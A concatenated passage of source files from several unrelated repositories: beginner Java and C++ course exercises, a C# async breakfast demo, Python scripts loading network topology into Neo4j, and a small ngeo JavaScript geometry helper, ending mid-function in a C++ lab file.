import java.util.LinkedList;
public class Album {
private String albumName;
private ArrayList<Song> songArrayList;
public Album(String albumName) {
this.albumName = albumName;
this.songArrayList = new ArrayList<>();
}
public boolean addSongToAlbum(String songTitle, double duration){
if (findSong(songTitle) == null){
songArrayList.add(new Song(songTitle,duration));
return true;
}else {
System.out.println("Song - " + songTitle + " - already exists in this album");
return false;
}
}
private Song findSong(String songTitle){
for (Song checkSong: songArrayList){
if (checkSong.getSongName().equals(songTitle)){
return checkSong;
}
}
return null;
}
public boolean addToPlaylist(int trackNumber, LinkedList<Song> playList){
int index = trackNumber - 1;
if (index >= 0 && index <= songArrayList.size()){
playList.add(songArrayList.get(index));
return true;
}
System.out.println("This album does not have a track " + trackNumber);
return false;
}
public boolean addToPlayList(String songTitle, LinkedList<Song> playList){
Song song = findSong(songTitle);
if (song == null){
System.out.println("This song does not exist in the album");
return false;
}
else {
playList.add(song);
return true;
}
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
// int switchValue = 3;
//
// switch (switchValue){
// case 1:
// System.out.println("Value was 1");
// break;
// case 2:
// System.out.println("Value was 2");
// break;
// default:
// System.out.println("Value was not 1 or 2");
// break;
// }
char character = 'F';
switch (character){
case 'A': case 'B': case 'C': case 'D': case 'E':
System.out.println(character + " found");
break;
default:
System.out.println("None of the requested characters was found");
break;
}
}
}
<file_sep>package com.fatosajvazi;
class Car{
private boolean engine;
private String name;
private int cylinders;
private int wheels;
public Car(String name, int cylinders){
this.name = name;
this.cylinders = cylinders;
wheels = 4;
engine = true;
}
public boolean isEngine() {
return engine;
}
public String getName() {
return name;
}
public int getCylinders() {
return cylinders;
}
public int getWheels() {
return wheels;
}
public String startEngine(){
return "Engine Started";
}
public String accelerate(){
return "Car is accelerating";
}
public String breaks(){
return "Break";
}
}
class Mercedes extends Car{
public Mercedes(){
super("Mercedes",16);
}
@Override
public String startEngine() {
return "Mercedes Engine started";
}
@Override
public String accelerate() {
return "Mercedes accelerated";
}
@Override
public String breaks() {
return "Mercedes breaks";
}
}
class Audi extends Car{
public Audi(){
super("Audi",16);
}
@Override
public String startEngine() {
return "Audi Engine started";
}
@Override
public String accelerate() {
return "Audi accelerated";
}
@Override
public String breaks() {
return "Audi breaks";
}
}
class VW extends Car{
public VW(){
super("Audi",16);
}
@Override
public String startEngine() {
return "VW Engine started";
}
@Override
public String accelerate() {
return "VW accelerated";
}
@Override
public String breaks() {
return "Audi breaks";
}
}
public class Main {
public static void main(String[] args) {
// write your code here
for(int i = 1; i != 11; i++){
Car car = randomCar();
System.out.println("Car: " + car.getName());
System.out.println(car.startEngine());
System.out.println(car.accelerate());
System.out.println(car.breaks());
System.out.println("*****************************************");
}
}
public static Car randomCar(){
int randomNumber = (int) ((Math.random() * 3) + 1);
System.out.println("random number" + randomNumber);
switch (randomNumber){
case 1:
return new Mercedes();
case 2:
return new Audi();
case 3:
return new VW();
default:
return null;
}
}
}
<file_sep>package com.fatosajvazi;
public class Room {
private Door door;
private Floor floor;
private Ceiling ceiling;
private Windows windows;
public Room(Door door, Floor floor, Ceiling ceiling, Windows windows) {
this.door = door;
this.floor = floor;
this.ceiling = ceiling;
this.windows = windows;
}
public Door getDoor() {
return door;
}
public Floor getFloor() {
return floor;
}
public Ceiling getCeiling() {
return ceiling;
}
public Windows getWindows() {
return windows;
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
// write your code here
//
// BankAccount bankAccount = new BankAccount();
//
//// BankAccount bankAccount = new BankAccount("1117179784000123",1000,
//// "<NAME>","<EMAIL>","+4367762918675");
//
// System.out.println("Client name: " + bankAccount.getCustomerName());
// System.out.println("Account number: " + bankAccount.getAccountNumber());
// System.out.println("Balance of the account: " + bankAccount.getBalance());
// System.out.println("Phone number: " + bankAccount.getPhoneNumber());
// System.out.println("E-mail: " + bankAccount.getEmail());
//
// bankAccount.deposit(1000);
// bankAccount.withdraw(700);
// System.out.println("Remaining balance: " + bankAccount.getBalance());
System.out.println("*********************************************");
VIPCustomer vipCustomer = new VIPCustomer();
System.out.println("Name: " + vipCustomer.getName());
System.out.println("E-mail: "+ vipCustomer.getEmail());
System.out.println("Credit limit: " + vipCustomer.getCreditLimit());
System.out.println("*********************************************");
VIPCustomer vipCustomer1 = new VIPCustomer("Fatos","<EMAIL>");
System.out.println("Name: " + vipCustomer1.getName());
System.out.println("E-mail: "+ vipCustomer1.getEmail());
System.out.println("Credit limit: " + vipCustomer1.getCreditLimit());
System.out.println("*********************************************");
VIPCustomer vipCustomer2 = new VIPCustomer("<NAME>",1500,"<EMAIL>");
System.out.println("Name: " + vipCustomer2.getName());
System.out.println("E-mail: "+ vipCustomer2.getEmail());
System.out.println("Credit limit: " + vipCustomer2.getCreditLimit());
System.out.println("*********************************************");
}
}
<file_sep>package com.fatosajvazi;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
// write your code here
inputThenPrintSumAndAverage();
}
public static void inputThenPrintSumAndAverage() {
int sum = 0;
int avg;
double counter = 0;
Scanner scanner = new Scanner(System.in);
while (true){
boolean isInt = scanner.hasNextInt();
if (isInt){
counter++;
int number = scanner.nextInt();
sum=sum+number;
}
else {
break;
}
}
avg = (int)Math.round(sum/counter);
System.out.println("SUM = "+sum+" AVG = "+avg);
}
}
<file_sep>public class LeapYearCalculator
{
public static void main(String[] args) {
System.out.println(isLeapYear(1924));
System.out.println(isLeapYear(1800));
System.out.println(isLeapYear(1900));
System.out.println(isLeapYear(2100));
System.out.println(isLeapYear(2200));
System.out.println(isLeapYear(2300));
System.out.println(isLeapYear(2500));
System.out.println(isLeapYear(2600));
}
public static boolean isLeapYear(int year){
boolean isLeapYear = false;
if (year < 1 || year > 9999){
isLeapYear = false;
}
else {
if (year % 4 == 0){
if (year % 100 == 0){
if (year % 400 == 0){
isLeapYear = true;
}
}
else {
isLeapYear = true;
}
}
}
return isLeapYear;
}
}
<file_sep>package com.fatosajvazi;
public class Main {
public static void main(String[] args) {
char myChar = '\u00A9';//width of 16(2bytes)
System.out.println("Unicode output was: " + myChar);
boolean myBoolean = true;
boolean isMale = false;
//////////////////////////////////////////////////////////
char registerSymbol = '\u00AE';
System.out.println("Register symbol is: " + registerSymbol);
}
}
| b05309df696c09b05f5ffc2bd48e2c532f6c0c07 | [
"Java"
] | 22 | Java | FatosAjvazi/udemy-course | 695037d23f1a9f588b2fbc3f93e92a71d2c68aab | a81489b2338cabb0a665470f04aa021d8a6c1fbf |
refs/heads/master | <file_sep>namespace AsyncPractice.Entities
{
public class Coffe
{
public string Brand { get; set; }
}
}<file_sep>using System;
using System.Threading.Tasks;
using AsyncPractice.Entities;
namespace AsyncPractice
{
public class Kitchen
{
public Coffe PourCoffe()
{
Console.WriteLine("Preparing coffe...");
Task.Delay(1000).Wait();
return new Coffe();
}
public async Task<Coffe> PourCoffeAsync()
{
Console.WriteLine("Preparing coffe...");
await Task.Delay(1000);
return new Coffe();
}
public Egg FryEgg(int Quantity)
{
Console.WriteLine("Warmimg pan...");
Task.Delay(3000).Wait();
Console.WriteLine($"Craking {Quantity} Eggs...");
Console.WriteLine("Cooking the eggs...");
Task.Delay(3000).Wait();
Console.WriteLine("Put eggs on plate");
return new Egg();
}
public async Task<Egg> FryEggAsync(int Quantity)
{
Console.WriteLine("Warmimg pan...");
await Task.Delay(3000);
Console.WriteLine($"Craking {Quantity} Eggs...");
Console.WriteLine("Cooking the eggs...");
await Task.Delay(3000);
Console.WriteLine("Put eggs on plate");
return new Egg();
}
public void ApplyKetchup(Egg egg) =>
Console.WriteLine("Applying ketchup...");
public void ApplyMayo(Egg egg) =>
Console.WriteLine("Applying mayo...");
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Threading.Tasks;
using AsyncPractice.Entities;
namespace AsyncPractice
{
class Program
{
static async Task Main(string[] args)
{
Console.WriteLine("Hello World!");
Stopwatch stopwatch = new Stopwatch();
stopwatch.Start();
Kitchen kitchen = new Kitchen();
/* At this point we are initializing
all task at the same Time */
var coffeTask = kitchen.PourCoffeAsync();
var eggTask = kitchen.FryEggAsync(2);
var breakfast = new List<Task> { coffeTask, eggTask };
while (breakfast.Count > 0)
{
Task finishedTask = await Task.WhenAny(breakfast);
if(finishedTask == coffeTask)
{
Console.WriteLine("Coffe is Ready!!");
}
else if (finishedTask == eggTask)
{
Egg eggs = eggTask.Result;
kitchen.ApplyKetchup(eggs);
kitchen.ApplyMayo(eggs);
Console.WriteLine("Eggs are ready!!");
}
breakfast.Remove(finishedTask);
}
Console.WriteLine("Breakfast is ready!");
stopwatch.Stop();
Console.WriteLine($"Elapsed time: {stopwatch.ElapsedMilliseconds}");
}
}
}
| 8708651da084032ddcd3e335c8ac18ed55fa39e6 | [
"C#"
] | 3 | C# | HenryBautista/AsyncPractice | d4c2a1c30c72ba4a2643d826ad2d82e053ada5ae | e64f8746be654f063641a45c439fff5af72bfa8d |
refs/heads/master | <repo_name>sharat910/neo-frameworks<file_sep>/Networkx_to_neo.py
from py2neo import Graph, Node, NodeSelector, Relationship
import time
USERNAME = "neoneo"
PASSWORD = "<PASSWORD>"
IP = "192.168.0.111"
PORT = "7474"
class Neo(object):
def __init__(self):
self.net = None
self.timestamp = None
self.graph = Graph("http://%s:%s@%s:%s"%(USERNAME,PASSWORD,IP,PORT))
self.sel = NodeSelector(self.graph)
self.switches = {}
self.hosts = {}
def node_check(self,new_net):
if self.net == None:
return True
old_nodes = self.net.nodes()
new_nodes = new_net.nodes()
if len(old_nodes) != len(new_nodes):
return True
if sorted(old_nodes) == sorted(new_nodes):
return False
else:
return True
def node_creator(self,nodes):
print "Creating nodes.."
hosts = filter(lambda x: len(str(x)) == 17,nodes)
switches = filter(lambda x: len(str(x)) != 17,nodes)
print hosts,switches
for switch_id in switches:
neo_node = self.sel.select('Switch',id = str(switch_id))
neo_nodes = list(neo_node)
if neo_nodes == []:
print "nodehere"
node = Node('Switch',id = str(switch_id))
self.switches[str(switch_id)] = node
self.graph.create(node)
elif self.switches.get(neo_nodes[0]['id'],None) == None:
self.switches[neo_nodes[0]['id']] = neo_nodes[0]
for host_mac in hosts:
neo_node = self.sel.select('Host',mac = str(host_mac))
neo_nodes = list(neo_node)
if neo_nodes == []:
print "hosthere"
node = Node('Host',mac = str(host_mac))
self.hosts[str(host_mac)] = node
self.graph.create(node)
elif self.hosts.get(neo_nodes[0]['mac'],None) == None:
self.hosts[neo_nodes[0]['mac']] = neo_nodes[0]
def create_relations(self,links,link_type):
print "Creating relations.."
print self.switches
print self.hosts
for link in links:
if link_type == "S_S_LINK":
node1 = self.switches[str(link[0])]
node2 = self.switches[str(link[1])]
elif link_type == "S_H_LINK":
node1 = self.switches[str(link[0])]
node2 = self.hosts[str(link[1])]
else:
node1 = self.hosts[str(link[0])]
node2 = self.switches[str(link[1])]
rel = Relationship(node1,link_type,node2)
for key in link[2]:
rel[key] = link[2][key]
rel['timestamp'] = self.timestamp
self.graph.create(rel)
def push_to_neo(self,net,timestamp):
print "\n\n\n Pushing data \n\n\n"
print self.node_check(net)
if self.node_check(net):
self.node_creator(net.nodes())
self.net = net
links = self.net.edges(data=True)
sslinks = filter(lambda x: x[2].get("delay",None) != None,links)
hlinks = filter(lambda x: x[2].get("delay",None) == None,links)
shlinks = filter(lambda x: x[2].get("port",None) != None,hlinks)
hslinks = filter(lambda x: x[2].get("port",None) == None,hlinks)
self.timestamp = timestamp
self.create_relations(sslinks,'S_S_LINK')
self.create_relations(shlinks,'S_H_LINK')
self.create_relations(hslinks,'H_S_LINK')
def create_multiple_relations(self,links,link_type):
print "Creating relations.."
def fun(x):
return str(x).replace("'","")
for link in links:
link[2].update({'timestamp':self.timestamp})
if link_type == 'SS':
self.graph.run("""
MATCH (n1:Switch {id:'%s'}), (n2:Switch {id:'%s'})
CREATE (n1)-[:S_S_LINK%s]->(n2)
"""%(tuple(map(fun,link))))
elif link_type == 'SH':
self.graph.run("""
MATCH (n1:Switch {id:'%s'}), (n2:Host {mac:'%s'})
CREATE (n1)-[:S_H_LINK%s]->(n2)
"""%(tuple(map(fun,link))))
else:
self.graph.run("""
MATCH (n1:Host {mac:'%s'}), (n2:Switch {id:'%s'})
CREATE (n1)-[:H_S_LINK%s]->(n2)
"""%(tuple(map(fun,link))))
<file_sep>/README.md
# neo-frameworks
Collection of frameworks to push data into Neo4j using Py2Neo
<file_sep>/Ryu_to_neo.py
from py2neo import Graph, Node, NodeSelector, Relationship
import requests,time
USERNAME = "neoneo"
PASSWORD = "<PASSWORD>"
IP = "192.168.0.111"
PORT = "7474"
class Neo(object):
def __init__(self,base_url):
self.base_url = base_url
self.graph = Graph("http://%s:%s@%s:%s"%(USERNAME,PASSWORD,IP,PORT))
self.sel = NodeSelector(self.graph)
self.switches = {}
self.hosts = {}
def get_json(self,url):
r = requests.get(url)
s = str(r.text)
return s
def stringify(self,dic):
for key in dic.keys():
dic[key] = str(dic[key])
return dic
def add_switches(self):
url = self.base_url + "/switches"
switch_array = eval(self.get_json(url))
for switch_dict in switch_array:
dpid = str(switch_dict['dpid'])
switch_from_dict = self.switches.get(dpid,None)
if switch_from_dict == None:
neo_node = self.sel.select('Switch',**self.stringify(switch_dict))
neo_nodes = list(neo_node)
if neo_nodes == []:
print "Creating Switch: %s" % str(dpid)
node = Node('Switch',**self.stringify(switch_dict))
self.graph.create(node)
self.switches[dpid] = node
else:
self.switches[dpid] = neo_nodes[0]
def add_hosts(self):
url = self.base_url + "/hosts"
host_array = eval(self.get_json(url))
for host_dict in host_array:
mac = host_dict['mac']
host_from_dict = self.hosts.get(mac,None)
if host_from_dict == None:
neo_node = self.sel.select('Host',**self.stringify(host_dict))
neo_nodes = list(neo_node)
if neo_nodes == []:
print "Creating Host: %s" % str(mac)
node = Node('Host',**self.stringify(host_dict))
self.graph.create(node)
self.hosts[mac] = node
else:
self.hosts[mac] = neo_nodes[0]
def add_host_links(self):
url = self.base_url + "/hosts"
host_array = eval(self.get_json(url))
for host_dict in host_array:
dpid = host_dict['port']['dpid']
switch = self.switches[dpid]
s_h_dict = {
"src":host_dict['port'],
"dst":host_dict['mac']
}
h_s_dict = {
"src":host_dict['mac'],
"dst":host_dict['port']
}
host = self.hosts[host_dict['mac']]
rel = Relationship(switch,'S_H_LINK',host,**self.stringify(s_h_dict))
self.graph.create(rel)
rel = Relationship(host,'H_S_LINK',switch,**self.stringify(h_s_dict))
self.graph.create(rel)
def add_switch_links(self):
url = self.base_url + "/links"
link_array = eval(self.get_json(url))
for link in link_array:
src = link['src']
dst = link['dst']
node1 = self.switches[src['dpid']]
node2 = self.switches[dst['dpid']]
rel = Relationship(node1,"S_S_LINK",node2,**self.stringify(link))
self.graph.create(rel)
def push_to_neo(self,timestamp):
self.timestamp = timestamp
self.add_switches()
self.add_switch_links()
self.add_hosts()
if __name__ == '__main__':
n = Neo("http://192.168.0.119:8080/v1.0/topology")
n.push_to_neo(time.time())
| dc29ebc5f86458b676b35ea6f656bdcda206b7a5 | [
"Markdown",
"Python"
] | 3 | Python | sharat910/neo-frameworks | 77a024fa44570264706ce3538993a8268f8bd1f5 | 492db51c26b94b07360bea673a0717301491d601 |
refs/heads/master | <repo_name>jacerhea/GildedRose<file_sep>/src/GildedRose.Tests/TestAssemblyTests.cs
using System;
using System.Collections.Generic;
using GildedRose.Console;
using Xunit;
namespace GildedRose.Tests
{
public class TestAssemblyTests
{
[Fact]
public void TestUpdateOnZeroZeroItem()
{
var resultAndStrategyPairs = new List<Tuple<Item, IUpdateStrategy>>
{
Tuple.Create(new Item {Quality = 0, SellIn = 0}, (IUpdateStrategy)new DoNothingUpdate()),
Tuple.Create(new Item {Quality = 1, SellIn = -1}, (IUpdateStrategy)new AgedBrieUpdateStrategy()),
Tuple.Create(new Item {Quality = 0, SellIn = -1}, (IUpdateStrategy)new BackstagePassesUpdateStrategy()),
Tuple.Create(new Item {Quality = 0, SellIn = -1}, (IUpdateStrategy)new StandardUpdateStrategy(2)),
Tuple.Create(new Item {Quality = 0, SellIn = -1}, (IUpdateStrategy)new StandardUpdateStrategy()),
};
foreach (var itemPair in resultAndStrategyPairs)
{
var testCase = new Item { Quality = 0, SellIn = 0 };
itemPair.Item2.UpdateQuality(testCase);
Assert.Equal(itemPair.Item1.Quality, testCase.Quality);
Assert.Equal(itemPair.Item1.SellIn, testCase.SellIn);
}
}
[Fact]
public void TestUpdateOnTenTenItem()
{
var resultAndStrategyPairs = new List<Tuple<Item, IUpdateStrategy>>
{
Tuple.Create(new Item {Quality = 10, SellIn = 10}, (IUpdateStrategy)new DoNothingUpdate()),
Tuple.Create(new Item {Quality = 11, SellIn = 9}, (IUpdateStrategy)new AgedBrieUpdateStrategy()),
Tuple.Create(new Item {Quality = 12, SellIn = 9}, (IUpdateStrategy)new BackstagePassesUpdateStrategy()),
Tuple.Create(new Item {Quality = 8, SellIn = 9}, (IUpdateStrategy)new StandardUpdateStrategy(2)),
Tuple.Create(new Item {Quality = 9, SellIn = 9}, (IUpdateStrategy)new StandardUpdateStrategy()),
};
foreach (var itemPair in resultAndStrategyPairs)
{
var testCase = new Item { Quality = 10, SellIn = 10 };
itemPair.Item2.UpdateQuality(testCase);
Assert.Equal(itemPair.Item1.Quality, testCase.Quality);
Assert.Equal(itemPair.Item1.SellIn, testCase.SellIn);
}
}
[Fact]
public void TestUpdateOnProvidedValues()
{
var resultAndStrategyPairs = new List<Tuple<Item, Item, IUpdateStrategy>>
{
Tuple.Create(new Item {Quality = 19, SellIn = 9}, new Item {Name = "+5 Dexterity Vest", Quality = 20, SellIn = 10}, (IUpdateStrategy) new StandardUpdateStrategy()),
Tuple.Create(new Item {Quality = 1, SellIn = 1}, new Item {Name = "Aged Brie", SellIn = 2, Quality = 0}, (IUpdateStrategy) new AgedBrieUpdateStrategy()),
Tuple.Create(new Item {Quality = 6, SellIn = 4}, new Item {Name = "Elixir of the Mongoose", Quality = 7, SellIn = 5}, (IUpdateStrategy) new StandardUpdateStrategy()),
Tuple.Create(new Item {Quality = 80, SellIn = 0}, new Item {Name = "Sulfuras, Hand of Ragnaros", SellIn = 0, Quality = 80}, (IUpdateStrategy) new DoNothingUpdate()),
Tuple.Create(new Item {Quality = 21, SellIn = 14}, new Item { Name = "Backstage passes to a TAFKAL80ETC concert", Quality = 20, SellIn = 15}, (IUpdateStrategy) new BackstagePassesUpdateStrategy()),
Tuple.Create(new Item {Quality = 4, SellIn = 2}, new Item {Name = "Conjured Mana Cake", SellIn = 3, Quality = 6}, (IUpdateStrategy) new StandardUpdateStrategy(2))
};
foreach (var itemPair in resultAndStrategyPairs)
{
itemPair.Item3.UpdateQuality(itemPair.Item2);
Assert.Equal(itemPair.Item1.Quality, itemPair.Item2.Quality);
Assert.Equal(itemPair.Item1.SellIn, itemPair.Item2.SellIn);
}
}
}
}<file_sep>/src/GildedRose.Console/Strategies.cs
namespace GildedRose.Console
{
public class UpdateStrategyFactory : IUpdateStrategyFactory
{
public IUpdateStrategy Create(string name)
{
if (name == "Sulfuras, Hand of Ragnaros")
{
return new DoNothingUpdate();
}
else if (name == "<NAME>")
{
return new AgedBrieUpdateStrategy();
}
else if (name == "Backstage passes to a TAFKAL80ETC concert")
{
return new BackstagePassesUpdateStrategy();
}
else if (name.Contains("Conjured"))
{
return new StandardUpdateStrategy(2);
}
else
{
return new StandardUpdateStrategy();
}
}
}
public class StandardUpdateStrategy : IUpdateStrategy
{
private readonly int _factor;
public StandardUpdateStrategy(int factor = 1)
{
_factor = factor;
}
public void UpdateQuality(Item item)
{
item.SellIn--;
if (item.Quality > 0)
{
item.Quality -= _factor * (item.SellIn < 0 ? 2 : 1);
}
if (item.Quality < 0)
{
item.Quality = 0;
}
}
}
public class BackstagePassesUpdateStrategy : IUpdateStrategy
{
public void UpdateQuality(Item item)
{
item.SellIn--;
if (item.SellIn < 0)
{
item.Quality = 0;
}
else if (item.SellIn <= 5)
{
item.Quality = item.Quality + 3;
}
else if (item.SellIn <= 10)
{
item.Quality = item.Quality + 2;
}
else if (item.Quality < 50)
{
item.Quality++;
}
}
}
public class AgedBrieUpdateStrategy : IUpdateStrategy
{
public void UpdateQuality(Item item)
{
item.SellIn--;
if (item.Quality < 50)
{
item.Quality++;
}
}
}
public class DoNothingUpdate : IUpdateStrategy
{
public void UpdateQuality(Item item) { }
}
public interface IUpdateStrategyFactory
{
IUpdateStrategy Create(string name);
}
public interface IUpdateStrategy
{
void UpdateQuality(Item item);
}
} | 03d5551bb84f0a68c8714a74bfcec8c1402a1120 | [
"C#"
] | 2 | C# | jacerhea/GildedRose | 24c4fa999bd182bf19397784c753d74207cfeb7c | 2ad8eeb457ade45927be69ec4b4220772eafb35b |
refs/heads/master | <repo_name>georgeevil/AppDynamics_visualizer<file_sep>/models/graphs.js
// Grab all modules + reqs + intialization
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var sanitizerPlugin = require("mongoose-sanitizer");
// Schema for graph
var graphSchema = new Schema({
name: {
type: String,
trim: true
},
author:{
type: mongoose.Schema.Types.ObjectId,
ref: 'User'
},
config: {
type: String,
required: true
}
}, {
timestamps: true
});
// Verify author via author ID
graphSchema.methods.verifyAuthor = function(authorID, cb) {
isAuthor = (this.populate('created_by', ['_id']) == authorID) ? true : false;
cb(isAuthor);
};
// Sanitize all inputs
graphSchema.plugin(sanitizerPlugin);
// Generate model
var graphs = mongoose.model('graph', graphSchema);
// Export
module.exports = graphs;
<file_sep>/.env.example
MONGODB_URI=mongodb://localhost:27017/test
MONGOLAB_URI=mongodb://localhost:27017/test
SESSION_SECRET=Your Session Secret goes here
MAILGUN_USER=<EMAIL>
MAILGUN_PASSWORD=<PASSWORD>
SENDGRID_USER=hslogin
SENDGRID_PASSWORD=<PASSWORD>
NYT_KEY=9548be6f3a64163d23e1539f067fcabd:5:68537648
FACEBOOK_ID=754220301289665
FACEBOOK_SECRET=41860e58c256a3d7ad8267d3c1939a4a
LOB_KEY=test_814e892b199d65ef6dbb3e4ad24689559ca | c17ce3e8c74fb50629b6696f20b13b4b1be6b43c | [
"JavaScript",
"Shell"
] | 2 | JavaScript | georgeevil/AppDynamics_visualizer | 920f62a6344b11c2eda0458e793b165120c47d8f | bddd60209332923c8865dab372192e76ea2b4b17 |
refs/heads/master | <file_sep>beautifulsoup4==4.6.0
glob2==0.5
htmlmin==0.1.10
Mako==1.0.6
pip==9.0.1
requests==2.14.2
setuptools==35.0.2
transifex-client==0.12.4
urllib3==1.21.1
<file_sep>goog.provide('ngeo.geom');
goog.require('ngeo.coordinate');
/**
* Convert all coordinates within a geometry object to XY, i.e. remove any
* extra dimension other than X and Y to the coordinates of a geometry.
*
* @param {ol.geom.Geometry} geom Geometry
*/
ngeo.geom.toXY = function(geom) {
if (geom instanceof ol.geom.Point) {
geom.setCoordinates(
ngeo.coordinate.toXY(geom.getCoordinates(), 0)
);
} else if (geom instanceof ol.geom.MultiPoint ||
geom instanceof ol.geom.LineString
) {
geom.setCoordinates(
ngeo.coordinate.toXY(geom.getCoordinates(), 1)
);
} else if (geom instanceof ol.geom.MultiLineString ||
geom instanceof ol.geom.Polygon
) {
geom.setCoordinates(
ngeo.coordinate.toXY(geom.getCoordinates(), 2)
);
} else if (geom instanceof ol.geom.MultiPolygon) {
geom.setCoordinates(
ngeo.coordinate.toXY(geom.getCoordinates(), 3)
);
} else {
throw 'ngeo.geom.toXY - unsupported geometry type';
}
};
| 942b01e7c70305dc06161b86da0c33bed4bbb0a7 | [
"JavaScript",
"Text"
] | 2 | Text | monodo/ngeo | 7386c07f1a44a5e498e5727db46e9e99d98abf41 | ecc76d232e49f225bc2ca6b376b1fd031ecb31d2 |
refs/heads/master | <repo_name>dnherrig/EECS168<file_sep>/README.md
# EECS168
Lab and Homework for EECS 168
THIS IS FOR REFRENCE ONLY!
Copying code is PLAGIARISM
<file_sep>/Exercise1/main.cpp
/* -----------------------------------------------------------------------------
*
* File Name: main.cpp
* Author: <NAME> <EMAIL>
* Assignment: EECS-168/169 Lab 5 Exercise 1
* Description: This program will call to other functions to produce a varity of results.
* Date: 3/1/2016
*
---------------------------------------------------------------------------- */
#include <iostream>
//function that finds the max of the two values
int max (int a, int b)
{
int result = 0;
if (a > b)
{
result = a;
}
else
{
result = b;
}
return(result);
}
//funcion to find area of a sphere
double sphereArea (double radius)
{
double area = 0.0;
if (radius > 0.0)
{
area = 4.0 * 3.14159 * (radius*radius); //area equation
}
else
{
area = 0.0;
}
return(area);
}
//function to dictate the number of times a certian word is printed
void printWord(std::string word, int timesToPrint)
{
int r = 0;
while(r < timesToPrint)
{
std :: cout << word;
r++;
std :: cout << '\n';
}
}
int main()
{
//initalize the varibles
int a = 0;
int b = 0;
double c = 0.0;
std::string input;
int d = 0;
//use to max function to find the answer given the user's inputs
std :: cout << "Input two numbers:" << '\n';
std :: cin >> a;
std :: cin >> b;
std :: cout << "The max of " << a << " and " << b << " is: " << max(a,b) << '\n';
std :: cout << '\n';
//use the sphereArea function to find the area of a shphere givin the user's inputs
std :: cout << "Input a radius: ";
std :: cin >> c;
std :: cout << "The area of a sphere with this radius is: " << sphereArea (c) << '\n';
std :: cout << '\n';
//use the printWord function to produce an output according the the user's inputs
std :: cout << "Input a string:" << '\n';
std :: cin >> input;
std :: cout << '\n';
std :: cout << "How many times do you want to print it?: ";
std :: cin >> d;
std :: cout << '\n';
printWord (input,d);
}
<file_sep>/Exercise4/makefile
leap : main.o
g++ main.o -o leap
main.o : main.cpp
g++ -c main.cpp
clean :
rm *.o leap
<file_sep>/Exercise1/makefile
functionPractice : main.o
g++ main.o -o functionPractice
main.o : main.cpp
g++ -c main.cpp
clean :
rm *.o functionPractice
<file_sep>/Exercise3/makefile
palindrome : main.o
g++ main.o -o palindrome
main.o : main.cpp
g++ -c main.cpp
clean :
rm *.o palindrome
<file_sep>/Exercise4/main.cpp
/* -----------------------------------------------------------------------------
*
* File Name: main.cpp
* Author: <NAME> <EMAIL>
* Assignment: EECS-168/169 Lab 5 Exercise 3
* Description: This program will obtains a year from the user. Then tells the user if the year is a leap year or not.
* Date: 3/4/2016
*
---------------------------------------------------------------------------- */
#include <iostream>
bool isLeapYear (int year)
{
if ( year % 4 == 0) // check to see if the year is a multiple of 4
{
if (year % 100 == 0) // check to see if the year is a multiple of 100
{
if (year % 400 == 0) // of these multiples of 100 check which ones are also a multiple of 400
{
return (true); // if year is a multiple of 4, 100 and 400 then say it is a leap year
}
else // in other cases say it is not a leap year
{
return (false);
}
}
else
{
return (true); // returns true if a number is divisible by 4 but not by 100
}
}
else
{
return (false); // numbers not divisible by 4 will return false
}
}
int main ()
{
//initalize the varibles
int year = 0; // used to input into the boolean function
char play = '\0'; // controls looping condition
std :: cout << "Welcome!" << std :: endl;
do
{
std :: cout << "Input a year:"; // take user input for year
std :: cin >> year;
//checks to see if the isLeapYear function is true and outputs the response based on that
if ( isLeapYear(year) == true)
{
std :: cout << year << " is a leap year!" << std :: endl;
}
else
{
std :: cout << year << " is not a leap year!" << std :: endl;
}
std :: cout << "Quit? (y/n):" << std :: endl;
std :: cin >> play; //if y is inputed then the looping condition will be false and the user will not be able to input a new number
if ( play != 'y' && play != 'n') // check that the user inputed a character that was either y or n
{
std :: cout << "Sorry you input is incorrect, try again." << std :: endl;
std :: cout << "Quit? (y/n):" << std :: endl;
std :: cin >> play;
}
std :: cout << '\n';
} while ( play == 'n' ); //checks to see that the user wants to keep participating
std :: cout << "Goodbye." << std :: endl;
return (0);
}
<file_sep>/Exercise3/main.cpp
/* -----------------------------------------------------------------------------
*
* File Name: main.cpp
* Author: <NAME> <EMAIL>
* Assignment: EECS-168/169 Lab 5 Exercise 3
* Description: This program will find the Palindrome of an Integer
* Date: 3/4/2016
*
---------------------------------------------------------------------------- */
#include <iostream>
int lengthOfNumber (int x)
{
int c = 0;
int z = 0;
while (x != 0) // counts how many times you have to reduce the number by a factor of 10 before the number has nothing left
{
z = x%10 + z;
x = x/10;
c = c+1;
}
return(c);
}
int reverse (int x) // reverses the number
{
int z = 0;
int c = lengthOfNumber(x);
int y = 1;
for (int i=1 ; i < c; i++) // calculates 10^of the length, this will be uswed to place the numbers later
{
y = y*10;
}
while (x != 0) //decides where to place each of the numbers
{
z = (x%10)*y + z;
x = x/10;
y = y/10;
}
return(z);
}
bool isPalindrome(int x) //checks to see if the reverse and the input are the same number, if they are it returns true.
{
bool z = true;
if ( reverse (x) == x)
{
z = true;
}
else
{
z = false;
}
return(z);
}
int main ()
{
//initalize varibles
int n = 0;
int r = 1;
while ( r == 1) //checks to see that the user wants to keep participating
{
//asks for user input, then outputs the results of the functions
std :: cout << '\n';
std :: cout << "Please enter a Number:" << std :: endl;
std :: cin >> n;
std :: cout << "The Length of the Number is:" << lengthOfNumber(n);
std :: cout << '\n';
std :: cout << "The Reverse of the Number is:" << reverse(n);
std :: cout << '\n';
//checks to see if the isPalindrome function is true and outputs the response based on that
if ( isPalindrome (n) == true)
{
std :: cout << "The Number is a Palindrome." << std :: endl;
}
else
{
std :: cout << "The Number is not a Palindrome." << std :: endl;
}
std :: cout << "Want to try again? (y=1/n=0):" << std :: endl;
std :: cin >> r; //if 0 is inputed then the looping condition will be false and the user will not be able to input a new number
}
std :: cout << "Thank you!" << std :: endl;
return (0);
}
<file_sep>/Exercise2/main.cpp
/* -----------------------------------------------------------------------------
*
* File Name: main.cpp
* Author: <NAME> <EMAIL>
* Assignment: EECS-168/169 Lab 5 Exercise 2
* Description: This program takes in an integer value form the user and finds the sum of the digits.
* Date: 3/1/2016
*
---------------------------------------------------------------------------- */
#include <iostream>
int addDigits (int x)
{
int z = 0; //declare a varible that will hold the value
while (x != 0)//as long as the value of x isn't zero then it will keep adding, this prevents an infinate loop
{
z = x%10 + z;
x = x/10;
}
